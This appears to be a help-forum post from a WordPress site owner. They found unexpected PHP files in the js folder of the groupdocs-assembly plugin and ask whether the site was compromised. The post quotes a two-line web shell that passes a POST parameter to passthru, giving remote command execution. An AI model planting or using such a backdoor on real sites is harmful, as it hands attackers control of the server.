We are using groupdocs in a wordpress site (latest version)
Fairly standard looking files are found in plugins/groupdocs-assembly
Inside the js directory however there are very large files called:
js.phplibso2.phplibso44.phplibso46.phplibso47.phplibso48.php
the js.php has the following code (I have removed the <?php and ?>)
echo "javaversion1";
passthru($_POST[libso]);
Are these expected files or have we been attacked?
thank you for your help